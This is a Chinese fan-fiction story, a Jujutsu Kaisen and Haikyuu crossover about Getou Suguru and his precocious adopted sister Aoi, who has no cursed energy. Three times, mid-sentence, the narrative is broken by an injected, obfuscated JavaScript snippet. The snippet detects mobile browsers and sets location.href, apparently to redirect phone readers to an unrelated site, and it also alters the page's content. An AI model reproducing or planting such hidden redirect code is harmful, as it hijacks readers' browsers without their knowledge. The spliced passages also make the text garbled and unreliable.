《身为咒灵的我偏偏要做人》 1. 小学篇 【到了那时候,多回来看看我好吗?一个人躺在那里应该会很孤独吧......】 天气晴朗,烈阳高照,夏油杰从蝉鸣处走来,用手抚过被汗水打湿的刘海儿,略带羡慕地看着身边路过的遮阳伞。 “好热啊!想吃雪糕~”身边的白发少年吐出了夏油杰的心声,晃晃悠悠的朝路边的汽水售卖机走去。 售卖机的玻璃倒映出他模糊的身影,藏在墨色镜片后的苍蓝双眼微微显露出它们的璀璨瑰丽。 “你要喝吗,杰?只能先拿这个凑合一下了啊。”五条悟嘴上问着,手上就只摁了一下,没有半点给同伴带一瓶的意思。 夏油杰也早就习惯了五条悟的处事模式,摆了摆手说不用了,从兜里摸出来手帕擦去了汗水。 “诶~,杰,你竟然带了手帕?”五条悟的语调略带诧异。 别看夏油杰待人一副温柔细致的模样,实际上也是不拘小节的人,如恶臭抹布般令人反胃的咒灵都可以生吞下去,完全没有试图去找找方法变变口味。 夏油杰擦拭的手顿了一下,“我出门时老妈塞给我的......唉,我好好的休假结果还要跟你一起出任务。” “彼此彼此~” 空瘪的易拉罐在空中划过一道优美的弧线正中街边的垃圾桶。 “Yeah!三分~” 夏油杰没眼去看幼稚的同窗,左右张望了一下方向,“那我就先走了。” “不坐虹龙吗?” 自从夏油杰收服这个咒灵,出行基本都靠它了,算得上是夏油最喜欢使用的交通工具。 “你疯了?人这么多。还有,我总有种不太好的预感......” “所以?” 十分钟后—— 五条悟双手插兜慢悠悠地跟着夏油杰走上了电车。 夏油杰疲惫地捏了捏眉头,“你跟上来干嘛?” 他真的不想再跟五条悟同路了。就是因为五条悟建议他盂兰节请假回家,他才会被老爸彻底打上佛门信徒的称号,第二天夫妻二人直接回老家祭祖了,完全没给他解释的机会。 想当初他力排众议,非要进入咒术高专这个名不见经传的地方学习已经引发父母强烈的不满了,现在还要被误会成因为有宗教信仰才这么选择的,难不成要去责怪小时候抚养过自己的信佛的奶奶吗? 不,这肯定是五条悟的错! 盂兰盆节可是著名的传统佛教节日,咒术高专对外也宣传自己是一个宗教学校,悟在这个时候建议我回家一定是居心叵测! 天知道他今天有多想跟这个白毛打一架。 “杰,你今天超奇怪的诶~” 五条悟没有去抓扶手,把胳膊搭在了身旁夏油的身上,半个身子的重量都压了上去。 好烦。 这样想着的夏油杰也只是简单抬手推掉了五条悟的胳膊,“很热的,悟,你可以不跟过来的。” 五条悟没在意夏油杰语气里的拒绝,开始盘点好友今天的不正常, “大白天你坐咒灵来任务地点,不像以前那样担心被普通人看见,你做任务从没这么积极过。” “做任务的时候没有跟我推脱写报告的事,还心不在焉的,把本来要收服的咒灵直接祓除了。” “来的时候很急,回去的时候又不坐虹龙了,来坐电车,还若有所思地对着站点图研究了好久。” “综上所述,”五条悟伸出食指指向夏油杰,“你今天超级不正常!” 夏油杰静静地看着五条悟表演,没忍住吐槽:“你是名侦探柯南吗?在电车上不要做这么大动作。” “呵,被老子的推理吓到了吧。今天老子跟定你了!” 五条悟推了下墨镜,转头发现有少女偷拍自己,反向搭讪去了。 夏油杰也没多管这个轻浮男,他透过车窗看向窗外不断倒退的景色,眼神却没有聚焦。 好吧,他今天确实有点不正常。 好像是......有点放心不下那个孩子? 实际上夏油夫妇回老家前留下了一些生活费,还留下了一个孩子。 是他乡下的姥姥捡来的养女,或者称呼为养孙女,反正现在是他夏油杰的妹妹了。 当时他久违的去到姥姥家,却是去参加葬礼的。 长途的汽车行驶即使只是坐在后座也足够令人难受。 下车后冰冷的雪粒飘落在身上,一阵风袭来又不由分说地扑了满脸的冰凉,带走了身上残留的那点余温,也好像是冰封了他的心脏。 那是他跟父母因为择校问题闹得最僵的时候。还没等找到时机缓和,就被更加沉重的消息打断了。 他几乎没有和姥姥相处过,唯一一点稀薄的记忆还是七岁时的夏天,村子里郁郁葱葱的,老人简单的铺了个凉席在树下乘凉,而他穿着背心在旁边的树前捕蝉,结果越走越远,在村子里迷了路。 事后小夏油被妈妈好一顿教育,姥姥也被妈妈说了好几句,却也只是轻轻摇着蒲扇,左耳进右耳出了。 后来或是因为路途太远,或是因为没有合适的时间,他再没去看过姥姥了,只有夏油妈妈回去过几次。 夏油杰跟着父母走进了屋子,好心的邻居已经找好了村长等人来跟夏油夫妇安排葬礼的事宜。 夏油杰是亲人,又好像外人一样融入不进去。 视线无处安放的他发现了一旁坐在桌边心无旁骛叠千纸鹤的小孩子。 女孩身上严严实实地包裹着几层厚衣物,被精心梳理过的黑发柔顺的垂在身后,低垂着的眉眼认真地盯着手上的纸片,软乎乎的小手半藏在衣袖里,半灵巧的翻折着。 如果说夏油杰像一个多余的人,那这个孩子就像在另一个空间中的人。 桌上的千纸鹤已经堆积成了一个小山丘,五彩缤纷的,好像在等待被施予魔法,冲出窗户离开一屋压抑,为白茫茫的世界点缀上一片绚烂。 谁家把孩子带到这边了?不太合适吧? 许是觉察到了夏油杰的注视,女孩抬眼看了过来。 灿金色的双眸破开了两人之间无形的隔阂直直闯入了夏油杰的双眼。 “......啊,那个......”夏油杰感觉自己该说些什么,却无从开口。 “你会叠千纸鹤吗?” “啊?” “你会叠千纸鹤吗?” 夏油杰反应过来,“会一点......需要帮忙吗?” “需要。”女孩回答的非常干脆。 她把桌子上的千纸鹤小山又往角落推了推,空出一片位置。 “方便坐过来吗?我还差46个,有点来不及了,麻烦帮我一下。” “哦,好。”夏油杰有些迷茫的坐在了女孩身边,却越折越投入,好像终于找到了自己的位置。 叠够数字了,夏油杰手里拿着粗糙的千纸鹤有点想要毁尸灭迹。是什么让他快要成年的双手如此笨拙的?还赶不上一个五六岁的孩子。 “已经很好了......嗯。” 女孩也知道自己没什么情绪起伏的安慰根本安慰不到夏油杰,眼疾手快抢走了千纸鹤。 夏油杰又开始帮着女孩把千纸鹤穿上线。 “不止这些。” 女孩轻车熟路地把夏油杰领进一个房间,打开几层抽屉,满满的全都是。 “这么多,要有1000个了吧?是要祈福吗?” 这还是他不经意间从女同学的交谈中了解到的。千纸鹤代表着爱情、友情,也象征着希望与长寿。 “嗯,是给奶奶准备的,她喜欢这个。” 五六岁的孩子竟然因为家人喜欢叠了近千个千纸鹤?! 夏油杰有被震惊到。如此孝心是能被刊登到当地报纸上的程度了。 “等一下,你的奶奶是?” 女孩停顿了一下,浓密的睫毛挡住了眼中的情绪。 她转头看向了某处。 “......奶奶啊,她就躺在那个房间里的。” 顺着女孩视线的方向,夏油杰看向了那个时不时传来啜泣声音的房间...... 之后女孩就被夏油家收养了,夏油杰也知道了这个孩子的名字——葵,就像她灿金色的眼睛一样,一眼便会让人感受到阳光洒落。 就在今天早上,夏油杰亲手把葵送到了她学前班的同学家里玩,之后夏油的右眼皮就一直在跳,他有种不祥的预感,好像有什么不好的事情即将发生。 总之就是直觉吧,直觉让夏油觉选择了这班电车,它可是去向一个“不得了”的地方。 到站了,夏油杰松开把手顺着人流下车。旁边一直在刷手机的五条悟瞬间察觉到,紧随其后。 “下一步我们去哪?......你在干什么?” 五条悟看着自己的挚友一下电车就开始左右观望,停顿了一瞬,然后三步化作两步到一个上车口拽住了一个......黄色的书包? 下一秒夏油杰就擦着即将关闭的门缝挤上了车,徒留五条悟站在原地一头雾水。 “这是为了甩下老子?”墨镜在鼻梁上微微滑落,差一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380274|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步就要掉落摔在地上,五条悟索性摘了墨镜,怀着手臂看着空荡荡的轨道。 可以确定的是,夏油杰的手机今晚不会安静地让他睡个好觉。 比被落下的五条悟还惨一点的,就是在电车上攥着扶杆的夏油葵了。 她仰望着身前面色沉如墨水少年,抿了抿唇,开口:“如果钱够的话,我可以帮你补车票。” 刚刚夏油葵被夏油杰拽住了书包,下意识就使出一招金蝉脱壳,没想到把夏油杰引上了电车。 “你不应该先跟我解释一下吗?葵。” 脸上没有微笑的夏油杰是比教导主任还令人害怕的存在。 夏油葵头一次感受到了什么叫做棘手,她没提前做好应对这个情况的计划,一时也不知道该说点什么。 但也不用她说,夏油杰选择了这趟电车,就是想到了他的妹妹会干出什么令人惊讶的事情。 “你知道坐电车回去那里要多久吗?将近两天!是谁给你的勇气让你这么做的?!” 夏油葵被高大的身影笼罩着,强烈的压迫感使得她微微躬身蜷缩成了一团,也引得车厢内的路人投来了好奇疑惑的目光。 夏油杰也意识到了这不是个适合教育孩子的场合,到了下个站点直接把夏油葵抗在了肩上,不由分说的下车了。 他注意到女孩被扛起时眼神飘忽了一瞬,求救似的看向了某个方向。下车前的一秒他向那个方向瞥去,一截蓝色的运动服一闪而过,消失在了人群的缝隙中。 —— “......我要去美佳家。” 不知被扛着走了多久,夏油葵开口提示夏油杰。她跟美佳约好了要去她家玩的,就算之前这只是个她找时机回乡下的借口,但是计划既然失败了,这就应该变成有效的约定。 更重要的是她不想去面对生气的夏油杰,这件事情不是三言两语就能糊弄过去的,她需要时间去想该怎么认错才不会让夏油杰把事情捅到爸妈那里去。 “......呵。”夏油杰步伐没停,直接气笑了。 其实因为学业的问题,夏油杰自葬礼之后就没再跟这个妹妹怎么长时间相处过。但是他很自信,朝夕相处的父母绝对没有自己更加懂夏油葵。 他们对葵的形容是可爱、聪慧、懂事,这些就只是表面而已。 夏油葵很像夏油家的人,顺直乌黑的长发感觉自带夏油家的基因。但那比黄金还灿烂的瞳膜是与夏油家截然相反的耀眼,这使得她即使是面无表情也给人一种亲和的美感,有一种这个孩子一定很活泼的错觉。 要是同款表情放在夏油杰的脸上就成为阴郁了。 这种优势让人们对夏油葵的评价不自觉偏向正面。不是指她做错了什么事不被发现,是她无论做出什么超出年龄的行为都会被冠上懂事聪明的形容,而不会去觉得违和。 夏油杰首次隐约发现这个问题,是他偶然从姥姥邻居嘴里知道叠千纸鹤那次夏油葵的衣服是自己穿的,头发是自己打理的。 妇人心疼地夸奖着葵,说她这么小就知道怎么照顾自己,发现老人叫不醒了也知道来找邻居求助。 六岁的孩子做到这个程度可以说得上是非常独立了。 那个孩子走丢了也丝毫不见慌乱的姥姥能养出这样的孩子,应该也不足为奇。 而他真正发现这个问题,是他看到夏油葵装作什么都不会的样子让夏油妈妈帮忙穿衣服、梳头发。 这不是很可怕吗? 这么小的孩子竟然在亲近的人面前演戏。不是在撒娇,而是在面不改色地迎合夏油妈妈想给她打扮的想法,是在有目的的取悦。 正常的小孩子可以做到这种程度吗? 所以比起独立,夏油杰觉得他的妹妹过于早熟了。 他一度想让老妈带夏油葵去看看心理医生,在老妈面前戳穿了夏油葵的演绎,却被她轻飘飘一句“我喜欢妈妈为我费心”所击败。 夏油妈妈是个很喜欢被依赖的传统家庭主妇,这一点早就被夏油葵拿捏住了。 夏油杰一时语塞,还被老妈数落了几句,也就不再插手这件事。 时过几月,夏油杰自上高专之后第一次回到家里,跟父母对话都有一种恍如隔世的陌生,更别说是夏油葵了。 现在这种局面对他来说真是一份“大礼”,让他一下就回想起了之前面对夏油葵的那种无力感。 “我现在就需要一个解释。” “我饿了。” ...... 好哥哥夏油杰又开始任劳任怨地挑起了餐饮店。 2. 小学篇 【放心去信任你的家人,被约束了也不要去反感,他们只是为你担心。】 精挑细选进了一家拉面店,有菜有肉有面,营养均衡,还特意让厨师做淡一些,是儿童餐的不二之选。 夏油杰就坐在葵的身边,胳膊置于桌上,用手托着下巴,偏着头看着女孩用筷子费力地从碗底挑出来几根拉面。 “喂你?” “不用。” 夏油葵飞速抬眼看了一眼夏油杰的神色,感觉少年的情绪已经平复下来了,暗暗在心里松了口气。 一直看着她的夏油杰又怎会察觉不到女孩的心思, “我还在生气哦。” 好吧,他确实没有刚开始那么气了。这小姑娘真的有一种神奇的让人被迫淡定的魔力。 “吃饱了的话就说说看吧。” 夏油葵优雅地拿过夏油杰手里的纸巾擦了擦嘴,一脸认真, “这是一个完美的计划。” 夏油杰的拳头硬了,嘴上还是敷衍地应和着,“怎么个完美?” 夏油葵立即反应过来不能从计划开始说, “我不是没跟爸爸妈妈说的。但是他们要去哥哥的奶奶家,要明年祭日的时候才会回去看奶奶,噢,就是哥哥的外婆。” “我知道,所以呢?” “奶奶想我,所以我要回去。” 金色的眼眸认真地看着对面的少年,语气笃定的好像老人在地下给她打了个电话诉说思念。 夏油杰一时语塞,“......如果你说你想她了才这么做的话,我会更相信的。” “不,是奶奶想我了。”语气更加坚定。 夏油杰的脑袋上长出了“?”号。 “......托梦?”这是他能想到最合理的解释了,再非要解释的话,他只能去怀疑自己这个妹妹是不是可以通灵了。 “不是。”夏油葵又一次否定。 “奶奶很怕寂寞。她还能够醒来的时候跟我说过,让我多回去看她。在这样的节日里,她会更寂寞,更想我的。” ......生前的嘱咐吗? 夏油杰的心中顿时生出一股惆怅,但是理智还是重新占据了他的大脑。 “所以你觉得她老人家会让你一个六岁的孩子独自坐两天的电车回家看她,并为此感到高兴吗?” 夏油葵不说话了,只是静静地看着夏油杰。 在沉默中夏油杰读到了一个离谱的讯息——她觉得她会?!! 夏油细长的狐狸眼都要瞪出来了。 “......那个,过!下个话题,计划是什么?” 夏油葵平铺直叙、轻描淡写, “爸爸妈妈要离开家五天,我跟他们说这段时间我住在美佳家里就好了。” “我让美佳跟她妈妈说好了,然后当着爸妈的面给美佳家里打了电话。” “接电话的是美佳妈妈,全程都是我在跟美佳妈妈聊,爸爸妈妈只在最后表示了感谢。” “但是在这段通话中我刻意没有提到时间。其实美佳妈妈认为我只过去玩几个小时,但是爸爸妈妈以为我会在那里待够五天。” “这样中间的时间差我就可以回乡下了。” ......这是个六岁孩子会有的逻辑吗?我怎么感觉自己在听一个凶手的作案过程? 夏油杰眉头一皱,语气都变成了推理式的探究, “那你怎么保证那通电话不会提到任何会让你计划失败的敏感信息的?” 夏油葵轻抿了一口水杯里的大麦茶,婴儿肥的脸颊削弱不了她的气度。 “所以,我也在赌。” ...... 装什么装! 夏油杰一个脑瓜崩弹在夏油葵的脑门上。 他可不想承认刚刚被个孩子帅到了。 “你要知道,如果你是别人家的孩子我会夸你一句厉害。但你是夏油家的孩子,我只会想揍你一顿,问你下一次还敢不敢。” 这次是他正好回家才阻拦住了夏油葵。要是还有下次呢?谁能管住这个孩子? “夏油葵,我会给你买一个手机。以后你每天的行程都要给我报备!有什么要离开家离开学校去做的事情,都要给到我相关的证明!你听明白了吗?” 夏油杰阴沉着脸,暗紫色的眼眸由上至下地看着,吐出的每一个字都敲打在夏油葵的耳膜上。 夏油葵第一次感受到如此强烈的束缚感,像是被某种猛兽叼住了后颈一样。 凭什么? 这三个字徘徊在她的唇边,又被咽下。 奶奶在时从来没有拘束过她的思想和行为,甚至还会鼓掌赞扬。 夏油葵心里不由自主生出反抗的情绪,却还是用理智压制住了。 毕竟不是人人都能像奶奶一样,而且奶奶也说过的...... 这是我的家人,是哥哥,他是为我好。 她微不可查地点了点头,还不忘提出自己的条件, “......不要跟爸爸妈妈说这件事情。” “......” —— “你在干什么呢?小葵。” 暗粉色的小脑袋凑到夏油葵的课桌前,半趴伏在桌边。 “又在给你哥哥发短信吗?” “是的。”夏油葵熄灭了手机屏幕,“跟他讲我们晚上要在学校再待一会儿。” 江头美佳听完撇了下嘴,替自己的好友感到烦闷,“真的像个控制狂一样。” “每天都是一样的时间,做一样的事,还要一遍遍地跟他讲。小葵你真的是太有耐心了。” 江头美佳无条件站在夏油葵的这边,十分嫌弃夏油杰。 就是这个人让她们的计划破产,导致夏油葵几个月前才得到机会回乡下看望奶奶,真是个十足的路障! 夏油葵深手摸了摸美佳的发顶,“他也很有耐心的,每次都会回复我。” 大概这就是家人沉甸甸的爱吧。 夏油葵转身拿起挂在椅背上的书包,包侧挂着的明黄色海绵宝宝挂件随着她的动作轻轻地晃动。 “要走了吗?” 江头美佳慢腾腾地回到自己的座位,背上躺放在桌上的书包。 傻笑着的派大星挂件被意外压在背部和书包的缝隙当中,她反手勾了好几下才弄出来。 “我好了,唉,走吧......” 距离葵正式更名为夏油葵已经过去一年多了。 她安稳的从六岁长到七岁,在四月份从学前班顺利步入小学。 没有什么精彩的、意外的。唯一让夏油葵比较高兴的就是跟学前班的好友江头美佳分在同一个班级。 对此江头美佳更是兴奋的开学前一个晚上根本没睡着觉,一直畅想自己与好友的校园生活到天明,却完全没想到自己进入校门后首先努力的不是学习,而是运动。 “从现在开始锻炼吧。”从小上树观鸟,下河摸虾的乡下孩子向城里小朋友发出邀请。 美佳伸出自己胖嘟嘟的小手摸了摸自己圆润的脸,捏了捏自己柔软的肚子,“......必须锻炼吗?妈妈说小孩子就是这样的,长大就会苗条了。” 夏油葵在美佳的轻微抗拒中摇了摇头, “不是减重的意思,上学之后有体能测试,据说不擅长运动的人每次经历都会丢掉半条命。”夏油葵说的煞有其事。 她拍了拍美佳的肩,金色的瞳孔摄住美佳的目光,语调不起波澜,却好像潺潺的小溪淌入美佳的心田, “如果那样到时候我会心疼你的。” “你忍心吗?” 那必不能够啊! 江头美佳被狠狠击中了。 眼泪汪汪地捂着嘴,拼命疯狂点头。 一点退路也没给自己留。 自此每天放学后夏油葵都会带着美佳去操场跑两圈,下雨了就去室内排球场玩玩抛接球,一天也没落下。 美佳虽然没有爱上运动,但是运动的习惯确实保持住了。 “今天的天气不错,去操场吧。” “好~” 两个女孩把书包排排放在跑道边的阶梯上,借着台阶做跑前的拉伸运动。 远远的,一个黑色鸡冠头男孩在教学楼的夹角处往操场来。 人还没走到,声音已经在刺痛美佳的耳朵了。 “大福学妹,田径部的西瓜学长你有看到吗?” ...... 江头美佳转过脸装作没听见的样子,举起水杯猛喝了好几口。 “喂——,大福学妹你有听到吗?喝水喝这么猛,小心呛到啊~” 烦死了! 为什么在操场还要碰见他啊! 男孩的身影越来越近,声音越来越清晰,操场上的视线都被男孩的大嗓门吸引过来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380275|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 美佳不好再装作听不见,气鼓着脸回应, “没看到,黑尾前辈。” 黑尾铁朗已经走到两个女孩身前了,闻言只是遗憾的摇了摇头,脸上却是憋不住的坏笑。 虽然是说顺嘴了,但是大福学妹生起气来更像草莓大福了~ 应该带着研磨一起来看看。 美佳看着对面的表情,知道他心里没想什么好话。当即就想拉着夏油葵赶紧跑起来,远离这个是非之地。 她真的,从来没有见过这么“恶劣”的人。 平等的用外号来称呼后辈和前辈,见到人自来熟极了,感觉是那种扔到孤岛里都能自己跟自己聊天,活成精神分裂的人。 井田前辈也是倒大霉了被这样的学弟缠上。明明是练田径的,却天天被劝着去打排球。 不会是烦不胜烦了才翘掉今天的训练的吧? 江头美佳觉得自己发现了真相,并在暗地里幸灾乐祸起来。 看吧,井田前辈就是你黑尾这辈子都得不到的男人! 美佳混乱的面部表情引发了夏油葵的担忧。她伸手捏了捏好友的脸,脑子转的飞快,想着怎么把黑尾铁朗给支走。 也不知道这两人是合得来还是合不来,一见面就各比各的奇怪。 都是在室内排球场结下的“孽缘”啊。 “对了,我下楼的时候好像看到井田前辈了。” “看他的方向,应该是去教学楼后面的种植基地了。” 抱歉井田前辈,只能牺牲你了。要怪就去怪我哥吧,他不让我撒谎的。 得到了有效信息的黑尾心满意足地走了。夏油葵她们也拉伸好了,准备开跑。 “美佳,要不你等我一下,我的水杯落在教室了。” “那我陪你回去吧。” “不用了,你留在这里看书包。背来背去挺沉的。” 夏油葵的水杯确实落在了教室,并且教室的窗户也正好能看见楼下的种植基地。 她走进教室先回到座位把书桌里的水杯摆在桌面上。然后就到了窗边推开窗户,扒着窗沿,踮着脚,探头往下去看。 “啊,还真在啊。” 夏油葵一眼就定位了黑尾铁朗的鸡冠头。被他拉住的栗色西瓜头男孩就是田径队的井田学长了。 在一众短发的田径队中,井田学长用他长长的齐刘海独领风骚。 据他所说是跑起来迎面的风会把厚重的刘海吹开,给他一种眼前就是生路的感觉。 这个解释奇奇怪怪的有点听不懂,但大家都一致觉得井田学长跑起来就跟逃命一样快,也算说得通了。 也不知道井田前辈哪一点戳中了黑尾铁朗的心,缠着他加入排球社快半个月了。 栗发男孩一脸为难的听着黑发男孩侃侃而谈,神色中莫名其妙带了点紧张与慌张,眼神时不时往其他处瞟一下,好像是在忌惮着什么。 突然,夏油葵的视线跟井田对上了。 男孩脸部僵硬,瞳孔缩小颤抖,整个人像是定格般愣在原地,感觉是被什么震慑住了。 黑尾被他的表现吓了一跳,也朝着夏油葵的方向看过来。 不对,井田学长看的是......我的后面? 夏油葵转头往窗外的另一个方向看去。刺眼的夕阳映射在她的脸上,也为她金色的眼眸镀上了一层阳光。 这算是“谋杀”吧? 夏油葵被刺激的闭上了眼,酸涩中泪水止不住的往外溢。 就算是我泄露消息的报应吧。 夏油葵收回了脑袋,一手抹眼泪一手关窗,拿起水杯就下楼找美佳汇合了。 另一边的黑尾铁朗用手半遮着阳光,还在往半空中瞧。 “......刚刚天上是站了个人吗?” “你看见了吗?......前辈?” 井田整个人瘫软在地上,嘴里念叨着“被杀了”、“得救了”,完全听不进黑尾的话,一整个劫后余生的状态。 “嘛,还是希望前辈能好好考虑一下。”黑尾伸手把井田扶了起来,还帮忙拍了拍衣服上沾到的尘土。 “前辈的敏锐正是排球场上十分需要的,您真的很合适。” 而且排球社是真缺人......虽然现在西瓜学长这个神神叨叨一直在应激的样子他也不太敢要了。 真的不愧是能跑出逃命感的前辈,入戏太深了! 3. 小学篇 【你是神明的孩子,你的能力是救命的药,尽可能的去帮助那些被折磨的、绝望的人吧。】 稍微,有点无聊。 夏油葵坐在甜品店舒软的沙发上。桌子上摆了一堆不同种类的精致甜品,和四杯装在茶碗里的奶茶与咖啡。 她左手手指勾着杯柄,右手扶着奶茶杯,食指在杯口处摩挲着,眼睛却出神地看着对面。 对面三个高专生扭过身子窃窃私语好久了。就这么反着趴在沙发上,只能让夏油葵看见他们的背影,像是隔壁桌的一样。 “我确定,杰的妹妹确实一点咒力都没有。” 五条悟指了指自己的眼睛,苍兰色的梦幻瞳色仿若流淌着细碎的星光。 他语气坚定道: “六眼清清楚楚地,什么也没看到!” 五条悟是咒术界御三家之一五条家的少主,继承了百年难得一见的六眼,拥有看穿任何咒力的能力。 就在前两天他独自出任务,察觉到了隔壁小学的咒力波动,顺手就解决了那个烂泥一样在教学楼墙上蠕动的三级咒灵。 之后才发现被咒灵挡在身后在窗口探着头的女孩。 五条悟略微震惊,一瞬就反应过来这个女孩身上没有一丝的咒力波动,被他给忽略了。 这个世界上拥有转化咒力的能力成为咒术师的人很少,而身上完全没有任何咒力的人就更少了。 在这种人中,99.99%都是天与咒缚! 拥有出色记忆力和眼力的他一下就认出来女孩是夏油杰手机照片里的便宜妹妹,转头就告诉了自己的同窗们,并攒了个甜品局,让夏油把妹妹叫过来一探究竟。 “你妹妹有在其他方面表现出过人的天赋吗?”家入硝子看向拧着眉下意识咬着大拇指的夏油杰。 “......你缺钙了?” “不是。”夏油杰立刻放下了手,回答了硝子的上一个问题, “如果脑子灵活算的话......” “有多灵活?门门课程100分,小学就已经在研究微积分了?” “那也不至于......悟?” “你在质疑六眼吗?杰。” 五条悟看穿了夏油杰的欲言又止。 “也不是质疑......现存已知的天与咒缚应该也就只有一个吧。” “是的,禅院家有一个0咒力但身体素质十分强悍的,现在已经离家出走了。” “据说是可以徒手接子弹的程度,要不让妹妹试试?” 夏油杰一拳打在五条悟的侧腰,咬牙切齿,“我妹妹的命不是命吗?要祸害祸害你妹妹去!” 五条悟自知理亏也没多说什么,转头看向正在愣神的夏油葵。 女孩手里的半杯奶茶已经凉透了。眼睛看似一直注视着他们,思绪早就不知道飘到哪里去了。 接子弹试不了,用咒灵试试总可以吧~ 白毛少年左顾右盼的,跑到店员肩膀上拽下来一个四级咒灵扔到了夏油葵的身上。 一旁的夏油和硝子根本没来得及阻止。 “就算是四级咒灵也不能随便往孩子身上扔吧!” 夏油杰急得伸手去捞那个咒灵,却被眼前的景象震撼到了。 那个宛若名画尖叫的四级咒灵从夏油葵的身体上穿过去,“啪叽”一下掉在了地上。 不只是夏油杰,硝子也吃惊地睁大了眼睛,五条悟更是咧开了唇角,从心底升腾出一股莫名其妙的刺激感。 “真的是太有意思了!” 夏油葵的注意力早就被这接连的动静拉了回来。 她被用手抵着桌子突然凑近的夏油杰吓了一跳, “怎么了?” “......没事。” 夏油杰隐晦的看了一眼桌下的四级咒灵,装作捡东西的样子自然的把它给灭了。 “还有什么想吃的吗?” “......没了。” 夏油杰突然温柔让夏油葵感觉到陌生。 刚进甜品店的时候还特意嘱咐了她不要受那个白毛哥哥的蛊惑,每样尝一点就好,现在又来问还有没有什么想吃的。 这满桌的甜品还有一半没吃完呢。 “要回家了吗?” “......嗯,回家吧。” 他转头看向自己的两个同窗, “之后的事情我们回学校再聊吧,该是时间回家了。” “......好。” 家入硝子表示没有异议。 夏油杰力排五条悟一个人的异,成功把夏油葵带走了。 家入硝子走出甜品店,摸出打火机点燃了纤长手指夹着的香烟。 轻薄的烟从她浅淡的唇中吐出,慢慢消散在泛着面包甜腻味道的空气中。 “杰从来没有笑得那么令人毛骨悚然过。” 五条悟不以为然,语气轻佻, “真是的,我也不是什么变态。” “只是好奇罢了~” 这件事情成为三人之间的秘密就好了。 ———— 夏油葵觉得她哥突然变了。 变得有点过于......粘人了? 之前只能手机联系的“网友”现在一周能回家一次了。 夏油夫妇乐见其成,晚上两口子躺在榻榻米上直夸孩子懂事了知道多回家看看。 夏油葵则是感觉多了一个背后灵,是真的只在背后转悠的那种。 她每次回头都能发现一个高大的少年在身后意味不明地看着她,表情时而严肃时而疑惑时而纠结,还时不时有一些奇怪的动作,像是要偷偷变身的美少女战士。 如果夏油葵不认得他的话,是真的要报警抓进精神病院的程度。 “你哥哥不在家吧?” “不在。” 夏油葵把江头美佳领进自己的房间。 她真的是搞不懂她哥哥。学校不放假的时候猛回家,到了暑假了反而有事在忙回不来了,一刷朋友圈全是海边度假的照片。 “他去参加夏令营了,好像在国外。” “啊?高中生的夏令营是可以出国的吗?”江头美佳的嫉妒泄漏了。 “他是高专生,可能不太一样吧。” 夏油葵一边收拾书包一边给美佳解释。 今天她要和美佳一起去昆虫园参观完成学校布置的写生作业。 “笔、本、水杯、零钱、手机,都带好了吧?” “都带好了~” 美佳把头发甩到一边,掏出自己的翻盖手机,装作跟谁通话的样子放在耳边, “很帅的对吧~” 美佳妈妈知道了夏油葵有手机之后就给她也买了一个。她真的爱极了。 有手机的小学生简直不要太酷! “帅!”夏油葵捧场的比了个大拇指,“那就出发吧。” 昆虫园离夏油家很近,两个孩子坐三站公交车就到了。 售票处的小姐姐很热心的接待了她们。告诉她们那里是可以参观的,哪里是今日闭馆的,还询问了需不需要陪同。 夏油葵感谢并拒绝了小姐姐,拉着美佳进了昆虫园。 “诶,那是不是井田前辈?” 美佳眼尖的看到了井田标志性的栗色西瓜头。 男孩背着书包,长长的齐刘海盖住了眼睛让人看不清神色,正在园内的地图前仔细观望着。 “他真的能看得见吗?”美佳表示疑惑。 “谁知道呢。”夏油葵也在研究昆虫园里的路牌。“今天蜘蛛的区域关闭了,我们先去蝴蝶园吧。” 美佳不知道想象到了什么,抖了一下,“关了就关了,本来也不想去的,蜘蛛也太可怕了。” 女孩们确定好了行程,也没再去关注一旁的井田,直接沿着地图出发了。 这个昆虫园是市内比较有名的一家。 每个场馆衔接的通道内都布满了绿植,甚至在蝴蝶园的门口做了一个布满鲜花的棚顶,一瞬就把游客拉入了童话世界。 “好美啊~” 美佳还没等见到蝴蝶就被鲜花俘获了,眼睛完全看不过来,在门口就走不动路了。 夏油葵拿出手机帮美佳拍了几张美照,然后就强硬的把她拽进去了。 照这个速度走到天黑也逛不完蝴蝶园。 二人越往里走发现鲜花反而越少了,渐渐视线里面全都是错落有致的树丛。 蝴蝶就轻轻地落在上面,或是伪装自己跟环境融为一体,或是尽情展现自己的风姿,张扬地在枝头停歇。 但相同的是翅膀都紧紧闭合在一起,大部分都是灰扑扑地隐藏在绿叶之间。 不是想象中的蝴蝶在花田中翩翩起舞,而是静谧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380276|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,进入到了蝴蝶栖息的秘境。 “不是很漂亮啊?” 